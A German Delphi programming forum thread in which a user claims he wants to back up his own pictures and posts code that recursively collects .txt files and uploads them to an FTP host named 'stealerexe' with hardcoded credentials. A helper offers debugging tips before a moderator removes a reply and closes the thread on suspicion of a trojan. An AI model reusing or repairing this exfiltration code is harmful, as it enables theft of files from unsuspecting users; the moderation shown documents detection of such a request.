Entwickler-Ecke

Internet / Netzwerk - server will bilder net laden


crossit - Di 21.07.09 21:32
Titel: server will bilder net laden
hey leute
da mein pc voll mit vielen datein ist und ich meine ganzen bilder aufm ftp server speichern will habe ich mir nen kleines programm geschrieben welches nach den bildern sucht und sie uploaden sollte. leider funzt das uploaden irgenwie nicht -.- kennt einer meinen fehler?

Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
procedure findallfiles (RootFolder: string; Mask: string = '*.txt'; Recurse: Boolean = True);

var
  SR: TSearchRec;
  MyIdFtp: TIdFtp;
 begin
   begin
    RootFolder := IncludeTrailingPathDelimiter(RootFolder);
    if Recurse then
    if FindFirst(RootFolder + '*.txt', faAnyFile, SR) = 0 then
      try
        repeat
          if SR.Attr and faDirectory = faDirectory then
        if (SR.Name <> '.'and (SR.Name <> '..'then
              FindAllFiles(RootFolder + SR.Name, Mask, Recurse);
        until FindNext(SR) <> 0;
      finally
        FindClose(SR);
      end;
  if FindFirst(RootFolder + Mask, faAnyFile, SR) = 0 then
    try
      repeat
        if SR.Attr and faDirectory <> faDirectory then
begin
  MyIdFtp := TIdFtp.Create;
  try
    MyIdFtp.Host := 'ftp.stealerexe.st.ohost.de';
    MyIdFtp.Username := 'stealerexe ';
    MyIdFtp.Password := 'asdasdas';
    MyIdFtp.Connect;
    MyIdFtp.Put(RootFolder + SR.Name + szufallszahl);
  finally
    MyIdFtp.Disconnect;
    MyIdFtp.Free;
  end;
end;

      until FindNext(SR) <> 0;
    finally
      FindClose(SR);
    end;
  end;
 end;
 procedure TForm1.ZufallsZahl;
begin
randomize;
IZufallsZahl := random (10000000);
SZufallsZahl := IntToStr (IZufallsZahl);
end;


Moderiert von user profile iconNarses: Code- durch Delphi-Tags ersetzt


Xentar - Di 21.07.09 21:52

1. Wie verhält sich das Programm? Fehlermeldung, oder was passiert?
2. Überleg mal, was du da tust. Für jede Datei erzeugst du eine FTP Komponente, baust die Verbindung auf, lädst die Datei hoch, und trennst die Verbindung. Meinste nicht, es wär besser, einmal die Verbindung aufzubauen? Manche FTPs haben Schutzmechanismen, gegen zu häufiges Neuverbinden.


crossit - Di 21.07.09 22:01

also habe keine fehlermeldung oder adneres kann es ganznormal ausführen. das mit dem ständigen trennen habe ich beseitigt jedoch kommt auf meinem server immernoch nichts an -.-
funzt den überhaupt das suchen? werde das gleich mal nachgucken aber denke schon oder?


Xentar - Di 21.07.09 22:03

Das kannst du ja einfach rausfinden:
Haltepunkt setzen (links neben die Zeile klicken) -> Programm ausführen -> schauen, ob der da anhält.


crossit - Di 21.07.09 22:21

so also haltpunkt hält dort


Xentar - Di 21.07.09 22:28

Moderiert von user profile iconNarses: Inhalt entfernt, da hier keine Hilfestellung erwünscht ist.


Narses - Di 21.07.09 22:47

Moin!

Der Thread ist bis auf weiteres geschlossen, da dringender Verdacht auf einen Trojaner vorliegt:
user profile iconcrossit hat folgendes geschrieben Zum zitierten Posting springen:
da mein pc voll mit vielen datein ist und ich meine ganzen bilder aufm ftp server speichern will habe ich mir nen kleines programm geschrieben welches nach den bildern sucht und sie uploaden sollte.
[...]

Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
    if FindFirst(RootFolder + '*.txt', faAnyFile, SR) = 0 then
//...
    MyIdFtp.Host := 'ftp.stealerexe.st.ohost.de';
    MyIdFtp.Username := 'stealerexe ';
    MyIdFtp.Password := 'asdasdas';
    MyIdFtp.Connect;
    MyIdFtp.Put(RootFolder + SR.Name + szufallszahl);
//...
procedure TForm1.ZufallsZahl;
begin
randomize;
IZufallsZahl := random (10000000);
SZufallsZahl := IntToStr (IZufallsZahl);
Ich erinnere mich sogar daran, einen sehr sehr ähnlich verlaufenen Thread incl. Code schonmal deshalb geschlossen zu haben... :gruebel:

Diese Entscheidung ist Ermessenssache, subjektiv und diskussionsfähig. Wenn du dazu per VA Stellung nehmen möchtest, werden wir das im Team diskutieren und diese Entscheidung gegebenenfalls ganz oder in Teilen revidieren.

cu
Narses